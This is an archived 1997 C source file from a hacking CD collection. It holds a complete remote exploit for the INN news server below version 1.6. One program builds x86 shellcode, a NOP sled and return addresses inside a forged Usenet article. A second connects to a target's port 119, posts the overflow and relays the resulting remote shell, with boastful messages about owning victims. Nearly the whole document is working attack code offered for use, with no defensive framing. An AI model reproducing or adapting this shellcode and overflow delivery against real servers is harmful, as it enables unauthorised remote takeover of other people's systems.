home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / innd_exploit.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  6KB  |  240 lines

  1. ----------------------------- innbuf.c --------------------------------
  2. /*
  3.  * This just generates the x86 shellcode and puts it in a file that nnrp
  4.  * can send. The offset and/or esp may need changing. To compile
  5.  * on most systems: cc innbuf.c -o innbuf. Usage: innbuf [offset] > file.
  6.  * (C) 1997 by Method <method@arena.cwnet.com>
  7.  * P.S. Feel free to port this to other OS's.
  8.  */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <sys/types.h>
  13.  
  14. #define DEFAULT_OFFSET  792
  15. #define BUFFER_SIZE     796
  16. #define ADDRS           80
  17.  
  18. u_long get_esp()
  19. {
  20.         return(0xefbf95e4);
  21. }
  22.  
  23. int main(int argc, char **argv)
  24. {
  25.         char *buff = NULL;
  26.         u_long *addr_ptr = NULL;
  27.         char *ptr = NULL;
  28.         int ofs = DEFAULT_OFFSET;
  29.         int noplen;
  30.         u_long addr;
  31.         int i;
  32.         u_char execshell[] =
  33.                 "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  34.                 "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  35.                 "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  36.                 "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  37.  
  38.         if(argc > 1)
  39.                 ofs = atoi(argv[1]);
  40.  
  41.         addr = get_esp() - ofs;
  42.  
  43.         if(!(buff = malloc(4096))) {
  44.                 fprintf(stderr, "can't allocate memory\n");
  45.                 exit(1);
  46.         }
  47.         ptr = buff;
  48.         noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
  49.         memset(ptr, 0x90, noplen);
  50.         ptr += noplen;
  51.         for(i = 0; i < strlen(execshell); i++)
  52.                 *ptr++ = execshell[i];
  53.         addr_ptr = (unsigned long *)ptr;
  54.         for(i = 0; i < ADDRS / 4; i++)
  55.                 *addr_ptr++ = addr;
  56.         ptr = (char *)addr_ptr;
  57.         *ptr = '\0';
  58.  
  59.         printf(
  60.                 "Path: dev.null!nntp\n"
  61.                 "From: devNull @%s\n"
  62.                 "Newsgroups: alt.test\n"
  63.                 "Subject: 4 out of 5 Dweebs prefer INND for getting r00t\n"
  64.                 "Message-ID: <830201540.9220@dev.null.com>\n"
  65.                 "Date: 9 Jun 1997 15:15:15 GMT\n"
  66.                 "Lines: 1\n"
  67.                 "\n"
  68.                 "this line left not left intentionally blank\n"
  69.                 ".\n", buff);
  70. }
  71.  
  72. ---------------------------------------------------------------------------
  73.  
  74. ---------------------------- nnrp.c --------------------------------------
  75. /*
  76.  * Remote exploit for INN version < 1.6. Requires 'innbuf' program to operate.
  77.  * To compile: cc nnrp.c -o nnrp. Usage: nnrp <host> <file generated by innbuf>.
  78.  * (C) 1997 by Method of Dweebs <method@arena.cwnet.com>
  79.  */
  80.  
  81. #include <sys/types.h>
  82. #include <sys/socket.h>
  83. #include <stdio.h>
  84. #include <unistd.h>
  85. #include <stdlib.h>
  86. #include <string.h>
  87. #include <netinet/in.h>
  88. #include <netdb.h>
  89. #include <limits.h>
  90. #include <errno.h>
  91. #include <fcntl.h>
  92. #include <time.h>
  93.  
  94. #define POST            "POST\n"
  95.  
  96. #define SAY(a, b)       write(a, b, strlen(b))
  97. #define CHOMP(a, b)     read(a, b, sizeof(b))
  98. #define basename(a)     bname(a)
  99.  
  100. char *me;
  101.  
  102. make_addr(char *name, struct in_addr *addr)
  103. {
  104.         struct hostent *hp;
  105.  
  106.         if(inet_aton(name, addr) == 0) {
  107.                 if(!(hp = gethostbyname(name))) {
  108.                         fprintf(stderr, "%s: ", me);
  109.                         herror(name);
  110.                         exit(1);
  111.                 }
  112.                 addr->s_addr = ((struct in_addr *)hp->h_addr)->s_addr;
  113.         }
  114. }
  115.  
  116. char *bname(char *str)
  117. {
  118.         char *cp;
  119.  
  120.         if((cp = (char *)strrchr(str, '/')) != NULL)
  121.                 return(++cp);
  122.         else
  123.                 return(str);
  124. }
  125.  
  126. void my_err(char *errstr, int err)
  127. {
  128.         fprintf(stderr, "%s: ", me);
  129.         perror(errstr);
  130.         exit(err);
  131. }
  132.  
  133. void usage()
  134. {
  135.         printf(
  136.                 "INN version 1.[45].x exploit by Method <method@arena.cwnet.com>\n"
  137.                 "Usage: %s <host> <filename>\n"
  138.                 "Will start a shell on the remote host.\n"
  139.                 "The second argument is the file containing the overflow data.\n",
  140.                 me);
  141.         exit(1);
  142. }
  143.  
  144. select_loop(int netfd)
  145. {
  146.         int ret, n, in = STDIN_FILENO, out = STDOUT_FILENO;
  147.         char buf[512];
  148.         fd_set rfds;
  149.  
  150.         for( ; ; ) {
  151.                 FD_ZERO(&rfds);
  152.                 FD_SET(in, &rfds);
  153.                 FD_SET(netfd, &rfds);
  154.  
  155.                 if((ret = select(netfd + 1, &rfds, NULL, NULL, NULL)) < 0)
  156.                         my_err("select", 1);
  157.  
  158.                 if(!ret)
  159.                         continue;
  160.  
  161.                 if(FD_ISSET(in, &rfds)) {
  162.                         if((n = read(in, buf, sizeof(buf))) > 0)
  163.                                 write(netfd, buf, n);
  164.                 }
  165.  
  166.                 if(FD_ISSET(netfd, &rfds)) {
  167.                         if((n = read(netfd, buf, sizeof(buf))) > 0)
  168.                                 write(out, buf, n);
  169.                         else
  170.                                 break;
  171.                 }
  172.         }
  173. }
  174.  
  175. int news_sock(char *host)
  176. {
  177.         struct sockaddr_in sin;
  178.         int sock;
  179.  
  180.         sin.sin_port = htons(119);
  181.         sin.sin_family = AF_INET;
  182.         make_addr(host, &(sin.sin_addr));
  183.  
  184.         if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  185.                 my_err("socket", 1);
  186.  
  187.         if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
  188.                 my_err("connect", 1);
  189.  
  190.         return(sock);
  191. }
  192.  
  193. void send_egg(int sk, char *file)
  194. {
  195.         char buf[BUFSIZ];
  196.         int dfd;
  197.         int n;
  198.  
  199.         if((dfd = open(file, O_RDONLY)) < 0)
  200.                 my_err("open", 1);
  201.  
  202.         printf("Executing innd exploit.. be patient.\n");
  203.  
  204.         n = CHOMP(sk, buf);
  205.         buf[n] = '\0';
  206.         printf(buf);
  207.         SAY(sk, POST);
  208.         n = CHOMP(sk, buf);
  209.         buf[n] = '\0';
  210.         printf(buf);
  211.         sleep(2);
  212.         printf("Sending overflow data.\n");
  213.         while((n = CHOMP(dfd, buf)) > 0)
  214.                 write(sk, buf, n);
  215.         sleep(2);
  216. }
  217.  
  218. void main(int argc, char **argv)
  219. {
  220.         char *victim, *filename;
  221.         int s;
  222.  
  223.         me = basename(argv[0]);
  224.  
  225.         if(argc != 3)
  226.                 usage();
  227.  
  228.         filename = argv[2];
  229.  
  230.         send_egg(s = news_sock(victim = argv[1]), filename);
  231.  
  232.         select_loop(s);
  233.         fprintf(stderr, "Connection closed.\n");
  234.         printf("Remember: Security is futile. Dweebs WILL own you.\n");
  235.         exit(0);
  236. }
  237.  
  238. ---------------------------------------------------------------------------
  239.  
  240.